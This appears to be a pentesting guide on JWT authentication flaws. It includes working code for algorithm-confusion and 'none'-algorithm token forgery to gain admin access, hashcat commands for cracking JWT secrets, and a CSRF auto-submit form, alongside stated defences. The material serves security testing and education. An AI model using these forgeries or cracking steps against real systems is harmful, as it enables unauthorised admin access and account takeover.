Authentication & JWT Pentesting
Your JWT Looks Valid. But Is It Actually Secure?

# Original token signed with RS256 (asymmetric - private key required)
# Header: {"alg": "RS256", "typ": "JWT"}
# Payload: {"sub": "user123", "role": "user"}

# The Attack: Switch to HS256 and use the PUBLIC key as the secret
# Many JWT libraries will accept this without complaint!

import jwt
import base64

# Step 1: Get the server's public key (often exposed at /.well-known/jwks.json)
public_key = open('public_key.pem').read()

# Step 2: Create a forged token with elevated privileges
forged_payload = {
    "sub": "user123",
    "role": "admin",  # Escalated from "user"
    "exp": 9999999999
}

# Step 3: Sign with HS256 using the PUBLIC key as secret
forged_token = jwt.encode(
    forged_payload,
    public_key,  # Using public key as HMAC secret!
    algorithm="HS256"
)

# Step 4: Server receives token, sees HS256, uses public key to verify
# Signature matches because we signed it with the same public key!
# Attacker now has admin access.

# Result: Full admin access without knowing the private key

// Original valid JWT:
// eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
// eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ.
// dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk

// The Attack: Remove signature and set algorithm to "none"

// Step 1: Decode the original header
// {"alg": "HS256", "typ": "JWT"}

// Step 2: Change algorithm to "none"
// {"alg": "none", "typ": "JWT"}

// Step 3: Modify the payload to whatever you want
// {"sub": "user123", "role": "admin", "email": "admin@company.com"}

// Step 4: Create new token WITHOUT any signature
const header = btoa(JSON.stringify({alg: "none", typ: "JWT"}));
const payload = btoa(JSON.stringify({
  sub: "user123",
  role: "admin"
}));

const forgedToken = header + "." + payload + ".";
// Note: empty signature (just a trailing dot)

// Vulnerable server accepts this token as completely valid!
fetch('/api/admin/users', {
  headers: { 'Authorization': 'Bearer ' + forgedToken }
});

// Result: Full admin API access with a completely unsigned token

# JWT Secret Cracking with hashcat
# First, capture a valid JWT from the target application

# Format for hashcat: header.payload.signature
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

# Save to file
echo $JWT > jwt.txt

# Crack with hashcat using common wordlists
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# Common weak secrets we find in production:
# - "secret"
# - "password"
# - "123456"
# - Company name (e.g., "acmecorp")
# - "jwt_secret"
# - "supersecret"
# - "changeme"
# - Environment defaults like "development_secret"

# Once cracked, forge any token you want:
import jwt
forged = jwt.encode(
    {"sub": "admin", "role": "superuser", "exp": 9999999999},
    "secret",  # The cracked secret
    algorithm="HS256"
)

# Result: Complete control over all user sessions

// The Problem: JWT stored in HttpOnly cookie for XSS protection
// But now CSRF attacks are back on the table!

// Server sets JWT in cookie:
Set-Cookie: jwt=eyJhbG...; HttpOnly; Secure; SameSite=Lax

// Attack scenario: User visits malicious website while logged in
// Malicious site auto-submits a form to your API:

<form action="https://yourapp.com/api/transfer" method="POST">
  <input type="hidden" name="amount" value="10000" />
  <input type="hidden" name="to" value="attacker_account" />
</form>
<script>document.forms[0].submit();</script>

// The JWT cookie is sent automatically with the request!
// Attack succeeds if:
// 1. You do not validate anti forgery token on this endpoint
// 2. SameSite=Lax allows POST from top-level navigation
// 3. CSRF token is missing, predictable, or not bound to session

// Proper Defense: Double-Submit Pattern with JWT
// Step 1: Generate a CSRF token tied to the JWT
const csrfToken = crypto.randomBytes(32).toString('hex');

// Step 2: Include CSRF in JWT claims AND as separate readable cookie
const jwtToken = signJWT({ sub: userId, csrf: csrfToken });
res.cookie('csrf', csrfToken, { httpOnly: false }); // JS can read this
res.cookie('jwt', jwtToken, { httpOnly: true });    // JS cannot read this

// Step 3: Client must send CSRF token in header with every request
fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-CSRF-Token': getCookie('csrf') },
  body: JSON.stringify({ amount: 100, to: 'friend' })
});

// Step 4: Server validates that CSRF header matches JWT claim
if (req.headers['x-csrf-token'] !== decodedJwt.csrf) {
  return res.status(403).send('CSRF validation failed');
}

// The Stateless Revocation Problem:

// User logs in and gets a JWT valid for 24 hours
const token = jwt.sign(
  { sub: userId, role: 'user', exp: Math.floor(Date.now()/1000) + 86400 },
  secret
);

// Later: Attacker steals token via XSS, network sniffing, or log exposure
// User realizes account is compromised
// User changes password
// User clicks "Log out of all devices"

// BUT: The stolen JWT is still valid for the next 24 hours!
// The server has no way to know it should reject this specific token
// JWT validation passes: signature is valid, token is not expired

// Attacks we test for:

// 1. Using tokens after logout
fetch('/api/sensitive-data', {
  headers: { 'Authorization': 'Bearer ' + stolenToken }
}); // This still works on most applications!

// 2. Using tokens after password change
// Token was issued before password change
// Should be invalid, but most apps do not track this

// 3. Missing exp claim entirely
const badToken = jwt.sign({ sub: userId }, secret);
// No expiration = valid forever if server does not reject it

// 4. Server ignoring the exp claim
// Token has exp in the past but server does not actually check

// Solutions:
// Option A: Short-lived tokens (15 min) with refresh token rotation
// Option B: Token blacklist stored in Redis
// Option C: Include password version hash in token, validate each request